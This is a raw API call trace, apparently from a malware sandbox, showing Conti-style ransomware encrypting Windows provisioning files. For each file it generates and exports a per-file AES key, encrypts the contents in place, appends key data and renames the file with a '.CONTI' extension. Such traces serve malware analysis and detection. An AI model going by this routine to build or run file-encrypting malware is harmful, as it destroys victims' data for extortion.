	[0110.822] WriteFile (in: hFile=0x30c, lpBuffer=0x6512c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x6512c04*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.829] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.829] ReadFile (in: hFile=0x30c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x347, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x347, lpOverlapped=0x0) returned 1
	[0110.829] CryptEncrypt (in: hKey=0x17c7c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x347, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x350) returned 1
	[0110.829] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.829] WriteFile (in: hFile=0x30c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x350, lpOverlapped=0x0) returned 1
	[0110.829] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.829] WriteFile (in: hFile=0x30c, lpBuffer=0x6512bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x6512bf8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0110.829] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.829] CloseHandle (hObject=0x30c) returned 1
	[0110.829] GetProcessHeap () returned 0x1720000
	[0110.829] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.829] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml"
	[0110.829] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.829] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.830] GetProcessHeap () returned 0x1720000
	[0110.830] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.830] CryptDestroyKey (hKey=0x17c7c30) returned 1
	[0110.830] GetProcessHeap () returned 0x1720000
	[0110.830] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65667b0 | out: hHeap=0x1720000) returned 1
	[0110.830] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0110.830] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6514088 | out: phKey=0x6514088*=0x17c7af0) returned 1
	[0110.830] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x651408c, pdwDataLen=0x3bbfde4 | out: pbData=0x651408c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0110.831] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.833] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0110.833] GetLastError () returned 0x0
	[0110.833] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=718) returned 1
	[0110.833] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ce
	[0110.833] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.834] SetEndOfFile (hFile=0x30c) returned 1
	[0110.834] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.834] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.834] WriteFile (in: hFile=0x30c, lpBuffer=0x651408c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x651408c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.838] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.838] ReadFile (in: hFile=0x30c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2ce, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2ce, lpOverlapped=0x0) returned 1
	[0110.838] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2ce, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2d0) returned 1
	[0110.838] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.838] WriteFile (in: hFile=0x30c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.838] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.838] WriteFile (in: hFile=0x30c, lpBuffer=0x6514080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x6514080*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0110.838] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.838] CloseHandle (hObject=0x30c) returned 1
	[0110.839] GetProcessHeap () returned 0x1720000
	[0110.839] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.839] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0110.839] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.839] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.839] GetProcessHeap () returned 0x1720000
	[0110.839] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.839] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0110.839] GetProcessHeap () returned 0x1720000
	[0110.839] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e4b8 | out: hHeap=0x1720000) returned 1
	[0110.840] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0110.840] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x656ece8 | out: phKey=0x656ece8*=0x17c7bf0) returned 1
	[0110.840] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x656ecec, pdwDataLen=0x3bbfde4 | out: pbData=0x656ecec*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0110.840] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.840] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0110.841] GetLastError () returned 0x0
	[0110.841] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=719) returned 1
	[0110.841] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0110.841] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.841] SetEndOfFile (hFile=0x30c) returned 1
	[0110.841] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.841] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.841] WriteFile (in: hFile=0x30c, lpBuffer=0x656ecec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x656ecec*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.844] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.844] ReadFile (in: hFile=0x30c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2cf, lpOverlapped=0x0) returned 1
	[0110.844] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2cf, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2d0) returned 1
	[0110.844] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.844] WriteFile (in: hFile=0x30c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.844] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.844] WriteFile (in: hFile=0x30c, lpBuffer=0x656ece0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x656ece0*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0110.844] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.844] CloseHandle (hObject=0x30c) returned 1
	[0110.845] GetProcessHeap () returned 0x1720000
	[0110.845] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.845] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0110.845] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.845] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.845] GetProcessHeap () returned 0x1720000
	[0110.845] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.845] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0110.845] GetProcessHeap () returned 0x1720000
	[0110.845] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656d6d8 | out: hHeap=0x1720000) returned 1
	[0110.846] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0110.846] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65703b8 | out: phKey=0x65703b8*=0x17c7770) returned 1
	[0110.846] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65703bc, pdwDataLen=0x3bbfde4 | out: pbData=0x65703bc*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0110.846] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0110.846] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0110.847] GetLastError () returned 0x0
	[0110.847] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=472) returned 1
	[0110.847] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d8
	[0110.847] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.847] SetEndOfFile (hFile=0x30c) returned 1
	[0110.851] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.851] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.851] WriteFile (in: hFile=0x30c, lpBuffer=0x65703bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65703bc*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.858] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.858] ReadFile (in: hFile=0x30c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x1d8, lpOverlapped=0x0) returned 1
	[0110.858] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1d8, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1e0) returned 1
	[0110.858] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.858] WriteFile (in: hFile=0x30c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x1e0, lpOverlapped=0x0) returned 1
	[0110.858] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.858] WriteFile (in: hFile=0x30c, lpBuffer=0x65703b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65703b0*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0110.858] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.858] CloseHandle (hObject=0x30c) returned 1
	[0110.858] GetProcessHeap () returned 0x1720000
	[0110.858] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.859] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0110.859] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0110.859] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0110.859] GetProcessHeap () returned 0x1720000
	[0110.859] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.859] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0110.859] GetProcessHeap () returned 0x1720000
	[0110.859] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b80e38 | out: hHeap=0x1720000) returned 1
